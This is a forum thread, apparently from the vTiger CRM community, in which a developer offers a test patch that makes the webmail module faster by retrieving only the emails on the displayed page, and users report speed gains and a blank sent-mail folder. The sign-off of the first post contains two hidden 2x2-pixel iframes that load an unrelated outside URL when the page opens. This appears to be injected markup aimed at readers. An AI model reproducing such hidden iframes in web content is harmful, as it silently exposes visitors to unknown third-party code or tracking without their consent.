Hi guys,
This week I have been working on the webmail slow performances, and finally get a patch out!
Do not try it on your live version yet!!! This is a test release.
You can download it from <!-- m --><a class="postlink" href="http://creadev.net/Webmails-vTiger504">http://creadev.net/Webmails-vTiger504</a><!-- m --> (bottm of the page).
Features:
* Increase significantly performances on all inboxes, especially large ones
* Only retrieve displayed emails instead of the whole list
* Search functionalitie displays results in a 'per page' basis
* Search functionalitie much quicker especially on large results
I will follow discussions here and at <!-- m --><a class="postlink" href="http://creadev.net/forum/5">http://creadev.net/forum/5</a><!-- m -->
What I need now is feedbacks, so play with it and tell me how it behaves on your own test setup.
Bye <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
bye
i have been doing further work on the patch and now it should work properly and fully!
once again, if you have performance issues with webmail, especially on large inbox, you should give a try to this patch. it just consist of 4 files that you need to replace in vtiger_root/modules/webmails/.
remember to keep copy of the files replaced in case of an issue! rename them for exemple to listview.phpbackup
the patch is just about playing with the list view in normal or search mode in webmail so there is not much risk, but still, the test must be done on a test machine first.
feedbacks needed to validate the patch <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->
also, since i am on it, if people found wrong behaviour in the normal webmail version, tell me, i might be able to work on it quickly.
bye
thanks for the honesty <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->
if you have an inbox with few emails, the performances won't be much better with this patch, but in the case of a large inbox (5000 mails) their is a significant impact on the speed.
all i did in this patch is retrieve only the portion of emails visualized, normally the whole inbox is retrieved each time you navigate from page to page in the webmail, so now instead of retrieving 5000 mails, which can take a while, it only retrieves 10 mails(depending on mails per page).
how many emails do you have in your inbox? if you have a lot, i will look again at the files i posted and see if there is a problem somewhere.
bye,
clem
thank you for making it clear to me. indeed i had only a few emails in my test account.
but in any case the overall performace is not satisfying.
in my point of view, the only way to make the webmail module faster is to have a more efficiant php/ajax code to handle the data retrieved. i will try to have a look into it...
bye,
clem
i applied teh patch and a big improvemnt but still about 4 seconds to load a mail is this going to be improved on?
my test pc is athlon 2.5 1250 mb ram windows xp sp2
if the the webmail speed mail can be improved on that would be the final pice in the puzzle for me to go with vtiger a as crm solution
but yes a big improvment when load the patch from about 15 sec to 3-5 sec
the pop mailbox i am testing has 750 mails in it.
any new patches let us know....
great work
thanks
ken
but now i can't see the sent e-mails to leads, to contacts, to accounts and users. when i click on the folder the page comes back blank.
try to see what the problem is.
thanx
thanks a lot again <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->)